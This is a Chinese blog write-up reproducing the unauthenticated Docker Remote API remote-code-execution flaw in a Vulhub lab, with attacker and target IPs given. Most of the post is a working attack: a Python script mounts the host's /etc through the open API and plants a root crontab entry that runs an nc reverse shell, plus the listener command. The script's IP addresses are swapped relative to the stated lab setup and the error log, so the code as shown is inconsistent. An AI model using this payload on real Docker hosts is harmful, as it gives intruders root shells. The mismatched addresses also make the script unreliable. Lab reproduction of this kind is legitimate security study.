vluhub之docker-unauthoriun-rce复现

1.漏洞简介:

该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url实现docker命令。

2.漏洞复现

环境介绍:

1.攻击机kali:192.168.231.128
2.靶机ubuntu:192.168.231.185

靶场搭建

(1):ubuntu下载vluhub
vulhub官网地址:https://vulhub.org
github下载:https://github.com/vulhub/vulhub/
(2):环境搭建:
1.进入环境目录

cd /vulhub/docker/unauthorized-rce

创建容器并启动:

docker-compose build
docker-compose up -d

(3):访问环境"http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞"
vluhub之docker-unauthoriun-rce复现

复现:

1.使用Docker启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,即可进行反弹shell。以下为python脚本:

import docker
client = docker.DockerClient(base_url='http://192.168.231.128:2375/')
data = client.containers.run('镜像名', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.231.185 4440 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2.kali主机监听端口4440

nc -l -p 4440

3.执行脚本
python3 jiaoben.py

4.当出现如下错误,为docker源的问题:

Server Error ("Get https://registry-1.docker.io/v2/library/alpine/manifests/latest: Get https://auth.docker.io/token?scope=repository%3Alibrary%2Falpine%3Apull&service=registry.docker.io: net/http: request canceled (Client.Timeout exceeded while awaiting headers)")

docker.errors.APIError: 500 Server Error for http://192.168.231.185:2375/v1.37/images/create?tag=latest&fromImage=alpine: Internal Server Error ("Get https://registry-1.docker.io/v2/library/alpine/manifests/latest: dial tcp: lookup registry-1.docker.io on 127.0.0.11:53: read udp 127.0.0.1:34940->127.0.0.11:53: i/o timeout")

5.本人使用源:仅供参考

{
  "registry-mirrors": ["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn"] 
}

脚本执行完毕后,需要等待一分钟多,即可反弹shell
vluhub之docker-unauthoriun-rce复现

上一篇:榕树贷款的vulhub启动一个全新的漏洞环境(榕树贷款)


下一篇:docker vulhub漏洞环境搭建和使用